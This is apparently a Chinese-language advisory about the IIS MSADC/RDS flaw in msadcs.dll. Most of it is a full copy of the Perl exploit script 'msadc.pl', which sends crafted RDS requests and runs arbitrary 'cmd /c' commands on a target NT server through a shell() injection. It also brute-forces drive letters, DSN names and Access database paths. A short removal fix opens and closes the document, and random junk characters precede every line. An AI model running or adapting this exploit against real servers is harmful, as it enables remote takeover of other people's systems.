IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
[&g"Z" #\
uB!;Q 涉及程序：
Dt !
< Microsoft NT server
H: S<O%f Gt)ij?~ 描述：
P=PeWX*L<Z 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
rp+]f\] h cyo[HI?WM 详细：
_PcF /Gyk 如果你没有时间读详细内容的话，就删除:
b p<,Xfl c:\Program Files\Common Files\System\Msadc\msadcs.dll
N0%q 66]1 有关的安全问题就没有了。
W,"Re,`H sY 4q$F q 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
sF>O=F-7 H32o7]lT 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
zdw*
?C 关于利用ODBC远程漏洞的描述，请参看:
\E[6wB>uN% Ot)S\s> http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm M4D @G 3-&~jm~" 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
na|sKE;{ http://www.microsoft.com/security/bulletins/MS99-025faq.asp KK6fRtKv>q 7377g'jL 这里不再论述。
8Ihl}aguW qZ4)) X 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
+xv n n c& I /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
`lQ;M?D 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
t0GJ$] ) |j81?4<)v YYT#{>& #将下面这段保存为txt文件，然后: "perl -x 文件名"
R}cNhZC M >[
A #!perl
#l g R"% #
(^(l=EN-< # MSADC/RDS 'usage' (aka exploit) script
iEZ+Znon #
C <3<,~gI # by rain.forest.puppy
lx=tOfj8 #
Rk[a |T & # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
J8i,[,KcE # beta test and find errors!
cdh0b7tj n 1. +6x4%rV use Socket; use Getopt::Std;
El@*Fo getopts("e:vd:h:XR", \%args);
;-Xfbq Z\ &^#u=w?^x print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
o<%0|n_O& $XTtD UP@
if (!defined $args{h} && !defined $args{R}) {
k=[s%O 6H print qq~
yW (|auq Usage: msadc.pl -h <host> { -d <delay> -X -v }
,oh;(|= -h <host> = host you want to scan (ip or domain)
aZCq{7Xs -d <seconds> = delay between calls, default 1 second
Dsp$Nr%* -X = dump Index Server path table, if available
=#,`k<v%I -v = verbose
jeJgDAUv -e = external dictionary file for step 5
e).;;0 |oke)w=gn Or a -R will resume a command session
2jC` '8 5K 2K'ZkI ~; exit;}
u\L}B! 5.oI yC^Ik $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
8\ !E )M|4 if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
P3 : t
4^ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
J
(?qk if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
jT =|!,Pn $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
R-j*fO} if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
Wz s=BNm9 / De~K+w7o if (!defined $args{R}){ $ret = &has_msadc;
Y55u -9|N die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
-]HZ?@ Tk4>Jb print "Please type the NT commandline you want to run (cmd /c assumed):\n"
j t on \9 . "cmd /c ";
*>KBDFI $in=<STDIN>; chomp $in;
*k}m?;e sb $command="cmd /c " . $in ;
Q`<{cFsU xF8n=Lc if (defined $args{R}) {&load; exit;}
DJL.P6 -W 1wKXOy=v0 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
Pn A{@n\ &try_btcustmr;
HDhISPg {9U!0h-2" print "\nStep 2: Trying to make our own DSN...";
c\1X NPGG &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
O*~z@"\ o+A1-&qhN print "\nStep 3: Trying known DSNs...";
{g<D:"Q &known_dsn;
'R79,)|;[ )*;Tt @'y print "\nStep 4: Trying known .mdbs...";
&Mk!qE<:N &known_mdb;
eZa*WI= *y?HaU if (defined $args{e}){
j)m U`b_ print "\nStep 5: Trying dictionary of DSN names...";
{,Q )D$i &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
B2ln8NF#Q X3l>GeUi print "Sorry Charley...maybe next time?\n";
# dWz,e3 exit;
@%Ld\8vdfJ N | DI
k ##############################################################################
~R
w1 ]- 1(r, sub sendraw { # ripped and modded from whisker
Uz^N 6 q sleep($delay); # it's a DoS on the server! At least on mine...
\5r^D|Rp} my ($pstr)=@_;
- [7 +g socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
#cfiN b}GX die("Socket problems\n");
SH{@yS[c! if(connect(S,pack "SnA4x8",2,80,$target)){
)t|:_Z select(S); $|=1;
lPR=C0h}@ print $pstr; my @in=<S>;
$*#^C;7O select(STDOUT); close(S);
c`!e#w return @in;
NZB*;U~t } else { die("Can't connect...\n"); }}
N>H@vt~ 4^L;]v,|7 ##############################################################################
=6[.||9 M%S7cIX
]F sub make_header { # make the HTTP request
#Q8_:dPY my $msadc=<<EOT
#KJ # 1 POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
JY,$B-l User-Agent: ACTIVEDATA
ttsR`R1.k Host: $ip
Z!"-LQ J Content-Length: $clen
Z6Fu~D2U y Connection: Keep-Alive
U #[&( e"S?qpJK ADCClientVersion:01.06
!< p, G`r Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
b w P=f. /4an@5.\C --!ADM!ROX!YOUR!WORLD!
k: P n.< Content-Type: application/x-varg
fvC,P#z'| Content-Length: $reqlen
/mex{+p>tO J\@6YU[A EOT
eP -|3$ ; $msadc=~s/\n/\r\n/g;
Njc@5*rJ & return $msadc;}
z{rV |vQ lx: $ EJ ##############################################################################
D hyR EK';\} sub make_req { # make the RDS request
>@2<^&K` my ($switch, $p1, $p2)=@_;
|4df) my $req=""; my $t1, $t2, $query, $dsn;
^9Pr`\ %~!4DXrMk if ($switch==1){ # this is the btcustmr.mdb query
5kiW@{m $query="Select * from Customers where City=" . make_shell();
iW` t r $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
=tOB f RM $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
ojd0um6I{ B0@
Tz39= elsif ($switch==2){ # this is general make table query
cpdESc9W $query="create table AZZ (B int, C varchar(10))";
eY<<Hld $dsn="$p1";}
r2=@1=?8 Nz
dN4+ elsif ($switch==3){ # this is general exploit table query
/$c87\
$query="select * from AZZ where C=" . make_shell();
b#_R Z $dsn="$p1";}
RA0;f'"` G}n J3 elsif ($switch==4){ # attempt to hork file info from index server
ZNQ x;51 $query="select path from scope()";
z?o8h
N\ $dsn="Provider=MSIDXS;";}
vX JPvh< AF'< elsif ($switch==5){ # bad query
:?Ns>#6t $query="select";
6
VEB2F $dsn="$p1";}
igxO:]? PgkU~68` $t1= make_unicode($query);
X)b$CG $t2= make_unicode($dsn);
e5' I W__ $req = "\x02\x00\x03\x00";
r:H]`Uo'r $req.= "\x08\x00" . pack ("S1", length($t1));
G2` z?);1b $req.= "\x00\x00" . $t1 ;
( /]' e} $req.= "\x08\x00" . pack ("S1", length($t2));
FIq'W:q: $req.= "\x00\x00" . $t2 ;
j?K$w` $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
x92^0c Mf return $req;}
EvT$|#FY : K|
H/kht ##############################################################################
oZBD.s eEZgG=s sub make_shell { # this makes the shell() statement
K%z!#RyJ4 return "'|shell(\"$command\")|'";}
-| .NwGh }3#\vn0gT ##############################################################################
sYKx 3[ V/ , L <JG sub make_unicode { # quick little function to convert to unicode
+mocSx[ my ($in)=@_; my $out;
!Z$d<~Mq q for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
8['R D`O return $out;}
=D 1 @c|=onx5 ##############################################################################
j9
nw,x$ \g}]u(zg% sub rdo_success { # checks for RDO return success (this is kludge)
i'ap8Dr my (@in) = @_; my $base=content_start(@in);
]C \+b < if($in[$base]=~/multipart\/mixed/){
b mG`:_ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
Q "&Mr + return 0;}
pD{ OB _b&|0j :Ud ##############################################################################
s#X/
F DDrR9}k sub make_dsn { # this makes a DSN for us
0*{(R# my @drives=("c","d","e","f");
SXL3>-Z E print "\nMaking DSN: ";
[ws
_ g,/ foreach $drive (@drives) {
YC6T0 m print "$drive: ";
~`
tuPk~l my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
&da=hc,>% "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
GHv6UIe& . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
alb3oipOB $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
'kd}vq#| return 0 if $2 eq "404"; # not found/doesn't exist
a#p+.)Wm if($2 eq "200") {
e;.,x 5+ foreach $line (@results) {
Ks.b).fH return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
~5HkDtI) } return 0;}
kvbZx{s 5%,3)H{;t ##############################################################################
T@W: @,34 _pdKcE\X sub verify_exists {
_U~ R my ($page)=@_;
7@c!4hmrU my @results=sendraw("GET $page HTTP/1.0\n\n");
tc~gn!" return $results[0];}
p $Tk;;wm " c%wq 0 ##############################################################################
%1#\LRA( 2!%)_< sub try_btcustmr {
o#m31* o my @drives=("c","d","e","f");
R_EU|a my @dirs=("winnt","winnt35","winnt351","win","windows");
k3Yu"GY^ 4 %0s p foreach $dir (@dirs) {
u aIAVBRcS print "$dir -> "; # fun status so you can see progress
+<E#_)}`D6 foreach $drive (@drives) {
$0Y`> 3 print "$drive: "; # ditto
e r3M vw $reqlen=length( make_req(1,$drive,$dir) ) - 28;
u$?! $reqlenlen=length( "$reqlen" );
?_ H9>/:. $clen= 206 + $reqlenlen + $reqlen;
e:G ~P
u` 24wDnDyh my @results=sendraw(make_header() . make_req(1,$drive,$dir));
t 24`*' if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
R}oN8 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
J4qk^1m. Pe :)zt0 ##############################################################################
k+_>`Gre} S}C [ sub odbc_error {
n@pwOHQn<| my (@in)=@_; my $base;
75\ZD-{T: my $base = content_start(@in);
4X=VNORlU0 if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
rmg\Pa8W> $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
:hICe+2ca $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Z}O]pm>=G $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
%M
x|"ff return $in[$base+4].$in[$base+5].$in[$base+6];}
9~V'Wev print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
~<k>07 print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
aR2N,<Cp5 $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
P(PBOB97 @ !iS`u ##############################################################################
`n>/MY P#TPI*qw sub verbose {
f`4=Bl&"{ my ($in)=@_;
IJf%OA>v return if !$verbose;
&S="]*Z print STDOUT "\n$in\n";}
/Am9w$_T[ *k(Fb Z ##############################################################################
Dbn ~~P 45 biy(qa sub save {
8R)K$J$Hm my ($p1, $p2, $p3, $p4)=@_;
FH}?QebSR open(OUT, ">rds.save") || print "Problem saving parameters...\n";
6vNW)1{nn print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
hT^& *}G close OUT;}
_sy{rnaqvb Pz50etJ ##############################################################################
|ts0j/A]Pi 3?E7\\/R sub load {
>|S@twy my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
?EUg B\ open(IN,"<rds.save") || die("Couldn't open rds.save\n");
23CvfP @p=<IN>; close(IN);
";U ~wZW_ $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
!$98 U~L $target= inet_aton($ip) || die("inet_aton problems");
]Q FI> print "Resuming to $ip ...";
NioqJG?p $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
X!g;;DB\ if($p[1]==1) {
4lPO*:/ $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
xy`Y7W= $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
/@
em E0 my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
l]wfL;u if (rdo_success(@results)){print "Success!\n";}
@Yt394gA%\ else { print "failed\n"; verbose(odbc_error(@results));}}
}S iR;2W elsif ($p[1]==3){
i).Vu}W#S if(run_query("$p[3]")){
4!14: mq print "Success!\n";} else { print "failed\n"; }}
gy?uk ~p elsif ($p[1]==4){
xqSZ {E: if(run_query($drvst . "$p[3]")){
r]6+&K print "Success!\n"; } else { print "failed\n"; }}
NtGJpT4YX exit;}
0;x&\x7K 7 Td
9mkO ##############################################################################
_#M4zO 7 =WUNBav sub create_table {
A *BN
my ($in)=@_;
TgJ +:^+0 $reqlen=length( make_req(2,$in,"") ) - 28;
EkV#i
$reqlenlen=length( "$reqlen" );
U
_pPI$ = $clen= 206 + $reqlenlen + $reqlen;
'WHI.*= my @results=sendraw(make_header() . make_req(2,$in,""));
$<nD-4p return 1 if rdo_success(@results);
Fr50hrtkU my $temp= odbc_error(@results); verbose($temp);
h% >ZN-K) return 1 if $temp=~/Table 'AZZ' already exists/;
H3 !9H return 0;}
K!AA4!eUzM # [i3cn
##############################################################################
Iep_,o.Sk ?6"U('y>n sub known_dsn {
}#tbK 2[ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
("(wap~<nD my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
a`:F07 r "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
|;:Kn*0/] "banner", "banners", "ads", "ADCDemo", "ADCTest");
tVf):}< h kXdXyq foreach $dSn (@dsns) {
9e.v[K ~ print ".";
(mbm',%- ( next if (!is_access("DSN=$dSn"));
mph9/ %]S if(create_table("DSN=$dSn")){
V(;T {HW& print "$dSn successful\n";
Z Uj1vf 6I if(run_query("DSN=$dSn")){
w^cQL% print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
2f{p$YIt print "Something's borked. Use verbose next time\n";}}} print "\n";}
"*HEXru#B 7}NvO"u ##############################################################################
IRR b^Q6 uEhPO sub is_access {
'b" 7Lzp2 my ($in)=@_;
; d f Izi $reqlen=length( make_req(5,$in,"") ) - 28;
>B``+ Z^2 $reqlenlen=length( "$reqlen" );
zr A3bWs $clen= 206 + $reqlenlen + $reqlen;
_J2?B?S/j my @results=sendraw(make_header() . make_req(5,$in,""));
(I6Q"&h] my $temp= odbc_error(@results);
vz3olHX verbose($temp); return 1 if ($temp=~/Microsoft Access/);
9W-" mD; return 0;}
Mig l mQt0?c _ ##############################################################################
3=?,D v0P EqBTN07dZS sub run_query {
(QojId Ht my ($in)=@_;
6)ysiAH? $reqlen=length( make_req(3,$in,"") ) - 28;
a".iVf6y $reqlenlen=length( "$reqlen" );
S&&Q U # $clen= 206 + $reqlenlen + $reqlen;
FWp ?l my @results=sendraw(make_header() . make_req(3,$in,""));
|}8SjZcQW return 1 if rdo_success(@results);
4Wvefq" my $temp= odbc_error(@results); verbose($temp);
sUQ
Q/F6 return 0;}
GbQg(%2F o:*$G~. k ##############################################################################
`2\:b^h `H9 +]TWj< sub known_mdb {
'"c`[L7Wn my @drives=("c","d","e","f","g");
uT=5zu my @dirs=("winnt","winnt35","winnt351","win","windows");
-g lGOTk my $dir, $drive, $mdb;
oO7)7$|1 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
*2.h*y'u p1.3)=T # this is sparse, because I don't know of many
M(C$SB> my @sysmdbs=( "\\catroot\\icatalog.mdb",
CRiqY_gBf "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
5-H"{29 "\\system32\\certmdb.mdb",
C%ZPWOc_8 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
_d^d1Q}V A5\ Hq my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
<gFisc/#r "\\cfusion\\cfapps\\forums\\forums_.mdb",
CbxWK#aMmB "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
m;1/+qs0 "\\cfusion\\cfapps\\security\\realm_.mdb",
Y]`o- dV "\\cfusion\\cfapps\\security\\data\\realm.mdb",
I#]p k! "\\cfusion\\database\\cfexamples.mdb",
II=!E "\\cfusion\\database\\cfsnippets.mdb",
QX&Y6CC`] "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
f;OB"p "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
Vo.~1^ "\\cfusion\\brighttiger\\database\\cleam.mdb",
z TPNQ0 =| "\\cfusion\\database\\smpolicy.mdb",
C1l'< "\\cfusion\\database\cypress.mdb",
Zz Q LbCV "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
6]?W&r|0I "\\website\\cgi-win\\dbsample.mdb",
9&6P,ts%Q "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
)J+A2> "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
V[Sj+&e& ); #these are just
d.Ccc/1- foreach $drive (@drives) {
gLFTnMO foreach $dir (@dirs){
k!bJ&} Q(b foreach $mdb (@sysmdbs) {
#W.vX=/* print ".";
DSq?|H if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
/?b{*<TK print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
.A_R6~:: if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
l,3,$ print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
&m\Uc } else { print "Something's borked. Use verbose next time\n"; }}}}}
, )TnIByM q\gbjci foreach $drive (@drives) {
(J%>{?"ij foreach $mdb (@mdbs) {
u
i$4 print ".";
.wlKl[lE2 if(create_table($drv . $drive . $dir . $mdb)){
!mB
`F C print "\n" . $drive . $dir . $mdb . " successful\n";
GDiyFTr if(run_query($drv . $drive . $dir . $mdb)){
L8Z@Dk 7Y print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
F ~7TE91C } else { print "Something's borked. Use verbose next time\n"; }}}}
nZ#u#V }
ufw[Ei$I: @6aJh< c ##############################################################################
|b^UPrz)VS ?4aW^l6/ sub hork_idx {
1A#/70Mo print "\nAttempting to dump Index Server tables...\n";
Zw'050~- print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
EQw7(r|v: $reqlen=length( make_req(4,"","") ) - 28;
&RI;!qn6( $reqlenlen=length( "$reqlen" );
=*zde0T?l $clen= 206 + $reqlenlen + $reqlen;
$"MVr5q6 my @results=sendraw2(make_header() . make_req(4,"",""));
_V0%JE' if (rdo_success(@results)){
.Y8P6_ my $max=@results; my $c; my %d;
?Pf#~U_ for($c=19; $c<$max; $c++){
0L ,!o[L* $results[$c]=~s/\x00//g;
#N~1Y e $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
fBz|-I:k
+ $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
0 VG;z#{J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
NpKyrXDJv $d{"$1$2"}="";}
I _N:j,Mx
foreach $c (keys %d){ print "$c\n"; }
J~oxqw} } else {print "Index server doesn't seem to be installed.\n"; }}
Q
8;JvCz *
{~`Lw)y ##############################################################################
{{>,c}O / dxH\ H?NO sub dsn_dict {
X?&{<
vz open(IN, "<$args{e}") || die("Can't open external dictionary\n");
Br42Qo2"T> while(<IN>){
> LN*3&W $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
:O,r3 O6 next if (!is_access("DSN=$dSn"));
)l! `k if(create_table("DSN=$dSn")){
jt9- v- print "$dSn successful\n";
2Qh)/=8lM if(run_query("DSN=$dSn")){
piuM#+Y\'S print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
(\r^ 0>H print "Something's borked. Use verbose next time\n";}}}
P>_9>k@;Q print "\n"; close(IN);}
!y>up+cRjl EE`[J0 ( ##############################################################################
?E} gm> W\5 -Yg(@ sub sendraw2 { # ripped and modded from whisker
.n4{xQo,EJ sleep($delay); # it's a DoS on the server! At least on mine...
PlK3; my ($pstr)=@_;
B9KB q $e socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
1;i|G XY:h die("Socket problems\n");
A"s?;hv\fS if(connect(S,pack "SnA4x8",2,80,$target)){
bAN>\zG+ print "Connected. Getting data";
r:E4Wi{\ open(OUT,">raw.out"); my @in;
a^E>LJL select(S); $|=1; print $pstr;
a\oz-`ESa while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.XRe:\8mc close(OUT); select(STDOUT); close(S); return @in;
v6[VdWOx5 } else { die("Can't connect...\n"); }}
i_*. |:4?K*w", ##############################################################################
J=(i0A "!7Hu7 sub content_start { # this will take in the server headers
quC$<Y my (@in)=@_; my $c;
72J=_d>+ for ($c=1;$c<500;$c++) {
}$qrNbLJ if($in[$c] =~/^\x0d\x0a/){
T<b * =i if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
[e@m -/B else { return $c+1; }}}
>, 'guaa return -1;} # it should never get here actually
wq!9wk9 + @|u8 + ##############################################################################
-"a(<JC^NI 8t, &dq sub funky {
L:mE)Xq2 my (@in)=@_; my $error=odbc_error(@in);
T /IX(b'< if($error=~/ADO could not find the specified provider/){
wgolgof print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Q=vo5)t exit;}
.f. tPm if($error=~/A Handler is required/){
a}|<*!4zUQ print "\nServer has custom handler filters (they most likely are patched)\n";
M5d EZ exit;}
YGs'[On8 if($error=~/specified Handler has denied Access/){
jq8TfJ | print "\nServer has custom handler filters (they most likely are patched)\n";
x?u@
j7[ exit;}}
>SziRm>Y7 s|c}9/Xe) ##############################################################################
H.C*IL9 *=v%($~PK6 sub has_msadc {
kTT%<
e my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
k\*?<g my $base=content_start(@results);
i ps)-1 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
+|8.ymvm return 0;}
G|-RscPe h05FR[</ ########################
=5fY3%^b{ AcH!KbYf JdUdl_D z 解决方案：
Fv$w:r]q6 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
G,^ ?qbHg 2、移除web 目录: /msadc
